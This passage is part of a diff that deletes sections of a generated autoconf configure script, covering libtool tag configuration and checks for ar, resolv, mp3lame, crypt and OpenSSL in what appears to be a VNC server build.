-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_GCJ
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_GCJ
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_GCJ
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_GCJ
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_GCJ"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_GCJ
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_GCJ
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_GCJ
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_GCJ
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- RC)
-
-
-# Source file extension for RC test sources.
-ac_ext=rc
-
-# Object file extension for compiled RC test sources.
-objext=o
-objext_RC=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
-
-# Code to be used in simple link tests
-lt_simple_link_test_code="$lt_simple_compile_test_code"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${RC-"windres"}
-compiler=$CC
-compiler_RC=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-lt_cv_prog_compiler_c_o_RC=yes
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_RC \
- CC_RC \
- LD_RC \
- lt_prog_compiler_wl_RC \
- lt_prog_compiler_pic_RC \
- lt_prog_compiler_static_RC \
- lt_prog_compiler_no_builtin_flag_RC \
- export_dynamic_flag_spec_RC \
- thread_safe_flag_spec_RC \
- whole_archive_flag_spec_RC \
- enable_shared_with_static_runtimes_RC \
- old_archive_cmds_RC \
- old_archive_from_new_cmds_RC \
- predep_objects_RC \
- postdep_objects_RC \
- predeps_RC \
- postdeps_RC \
- compiler_lib_search_path_RC \
- archive_cmds_RC \
- archive_expsym_cmds_RC \
- postinstall_cmds_RC \
- postuninstall_cmds_RC \
- old_archive_from_expsyms_cmds_RC \
- allow_undefined_flag_RC \
- no_undefined_flag_RC \
- export_symbols_cmds_RC \
- hardcode_libdir_flag_spec_RC \
- hardcode_libdir_flag_spec_ld_RC \
- hardcode_libdir_separator_RC \
- hardcode_automatic_RC \
- module_cmds_RC \
- module_expsym_cmds_RC \
- lt_cv_prog_compiler_c_o_RC \
- exclude_expsyms_RC \
- include_expsyms_RC; do
-
- case $var in
- old_archive_cmds_RC | \
- old_archive_from_new_cmds_RC | \
- archive_cmds_RC | \
- archive_expsym_cmds_RC | \
- module_cmds_RC | \
- module_expsym_cmds_RC | \
- old_archive_from_expsyms_cmds_RC | \
- export_symbols_cmds_RC | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_RC
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_RC
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_RC
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_RC
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_RC
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_RC
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_RC
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_RC
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_RC
-archive_expsym_cmds=$lt_archive_expsym_cmds_RC
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_RC
-module_expsym_cmds=$lt_module_expsym_cmds_RC
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_RC
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_RC
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_RC
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_RC
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_RC
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_RC
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_RC
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_RC
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_RC
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_RC
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_RC
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_RC
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_RC"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_RC
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_RC
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_RC
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_RC
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- ;;
-
- *)
- as_fn_error $? "Unsupported tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
- if test -n "$tagname" ; then
- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- as_fn_error $? "unable to update list of available tagged configurations." "$LINENO" 5
- fi
-fi
-
-
-
-# This can be used to rebuild libtool when needed
-LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh"
-
-# Always use our own libtool.
-LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-
-# Prevent multiple expansion
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $AR in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_AR="$AR" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-as_dummy="$PATH:/usr/ccs/bin"
-for as_dir in $as_dummy
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_AR="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_AR" && ac_cv_path_AR="/usr/bin/ar"
- ;;
-esac
-fi
-AR=$ac_cv_path_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-
-# Options
-
-
-@%:@ Check whether --with-tightvnc-filetransfer was given.
-if test "${with_tightvnc_filetransfer+set}" = set; then :
- withval=$with_tightvnc_filetransfer;
-else
- with_tightvnc_filetransfer=yes
-fi
-
-# AC_DEFINE moved to after libpthread check.
-
-# WebSockets support
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __b64_ntop in -lresolv" >&5
-$as_echo_n "checking for __b64_ntop in -lresolv... " >&6; }
-if ${ac_cv_lib_resolv___b64_ntop+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lresolv $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char __b64_ntop ();
-int
-main ()
-{
-return __b64_ntop ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_resolv___b64_ntop=yes
-else
- ac_cv_lib_resolv___b64_ntop=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv___b64_ntop" >&5
-$as_echo "$ac_cv_lib_resolv___b64_ntop" >&6; }
-if test "x$ac_cv_lib_resolv___b64_ntop" = xyes; then :
- HAVE_B64="true"
-else
- HAVE_B64="false"
-fi
-
-
-
-@%:@ Check whether --with-websockets was given.
-if test "${with_websockets+set}" = set; then :
- withval=$with_websockets;
-else
- with_websockets=yes
-fi
-
-# AC_DEFINE moved to after libresolve check.
-
-
-
-@%:@ Check whether --with-24bpp was given.
-if test "${with_24bpp+set}" = set; then :
- withval=$with_24bpp;
-else
- with_24bpp=yes
-fi
-
-if test "x$with_24bpp" = "xyes"; then
- $as_echo "@%:@define ALLOW24BPP 1" >>confdefs.h
-
-fi
-
-
-@%:@ Check whether --with-ffmpeg was given.
-if test "${with_ffmpeg+set}" = set; then :
- withval=$with_ffmpeg;
-fi
-
-
- if test ! -z "$with_ffmpeg"; then
- WITH_FFMPEG_TRUE=
- WITH_FFMPEG_FALSE='#'
-else
- WITH_FFMPEG_TRUE='#'
- WITH_FFMPEG_FALSE=
-fi
-
-if test ! -z "$with_ffmpeg"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for lame_init in -lmp3lame" >&5
-$as_echo_n "checking for lame_init in -lmp3lame... " >&6; }
-if ${ac_cv_lib_mp3lame_lame_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lmp3lame $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char lame_init ();
-int
-main ()
-{
-return lame_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_mp3lame_lame_init=yes
-else
- ac_cv_lib_mp3lame_lame_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_mp3lame_lame_init" >&5
-$as_echo "$ac_cv_lib_mp3lame_lame_init" >&6; }
-if test "x$ac_cv_lib_mp3lame_lame_init" = xyes; then :
- HAVE_MP3LAME="true"
-else
- HAVE_MP3LAME="false"
-fi
-
-fi
- if test "$HAVE_MP3LAME" = "true"; then
- HAVE_MP3LAME_TRUE=
- HAVE_MP3LAME_FALSE='#'
-else
- HAVE_MP3LAME_TRUE='#'
- HAVE_MP3LAME_FALSE=
-fi
-
-
-# Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc.
-# before it seemed to be inside the with_jpeg conditional.
-ac_fn_c_check_header_mongrel "$LINENO" "thenonexistentheader.h" "ac_cv_header_thenonexistentheader_h" "$ac_includes_default"
-if test "x$ac_cv_header_thenonexistentheader_h" = xyes; then :
- HAVE_THENONEXISTENTHEADER_H="true"
-fi
-
-
-
-# set some ld -R nonsense
-#
-uname_s=`(uname -s) 2>/dev/null`
-ld_minus_R="yes"
-if test "x$uname_s" = "xHP-UX"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xOSF1"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xDarwin"; then
- ld_minus_R="no"
-fi
-
-# Check for OpenSSL
-
-
-@%:@ Check whether --with-crypt was given.
-if test "${with_crypt+set}" = set; then :
- withval=$with_crypt;
-fi
-
-if test "x$with_crypt" != "xno"; then
- for ac_func in crypt
-do :
- ac_fn_c_check_func "$LINENO" "crypt" "ac_cv_func_crypt"
-if test "x$ac_cv_func_crypt" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_CRYPT 1
-_ACEOF
- HAVE_LIBC_CRYPT="true"
-fi
-done
-
- if test -z "$HAVE_LIBC_CRYPT"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for crypt in -lcrypt" >&5
-$as_echo_n "checking for crypt in -lcrypt... " >&6; }
-if ${ac_cv_lib_crypt_crypt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypt $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char crypt ();
-int
-main ()
-{
-return crypt ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypt_crypt=yes
-else
- ac_cv_lib_crypt_crypt=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypt_crypt" >&5
-$as_echo "$ac_cv_lib_crypt_crypt" >&6; }
-if test "x$ac_cv_lib_crypt_crypt" = xyes; then :
- CRYPT_LIBS="-lcrypt"
- $as_echo "@%:@define HAVE_LIBCRYPT 1" >>confdefs.h
-
-fi
-
- fi
-fi
-
-
-# some OS's need both -lssl and -lcrypto on link line:
-
-
-@%:@ Check whether --with-crypto was given.
-if test "${with_crypto+set}" = set; then :
- withval=$with_crypto;
-fi
-
-
-
-
-@%:@ Check whether --with-ssl was given.
-if test "${with_ssl+set}" = set; then :
- withval=$with_ssl;
-fi
-
-
-if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_ssl/include"
- LDFLAGS="$LDFLAGS -L$with_ssl/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_ssl/lib"
- fi
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for RAND_file_name in -lcrypto" >&5
-$as_echo_n "checking for RAND_file_name in -lcrypto... " >&6; }
-if ${ac_cv_lib_crypto_RAND_file_name+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char RAND_file_name ();
-int
-main ()
-{
-return RAND_file_name ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypto_RAND_file_name=yes
-else
- ac_cv_lib_crypto_RAND_file_name=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypto_RAND_file_name" >&5
-$as_echo "$ac_cv_lib_crypto_RAND_file_name" >&6; }
-if test "x$ac_cv_lib_crypto_RAND_file_name" = xyes; then :
- $as_echo "@%:@define HAVE_LIBCRYPTO 1" >>confdefs.h
- HAVE_LIBCRYPTO="true"
-fi
-
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- if test "x$HAVE_LIBCRYPTO" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
-fi
-
-
-if test "x$with_ssl" != "xno"; then
- if test "x$HAVE_LIBCRYPTO" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl -lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl -lcrypto"
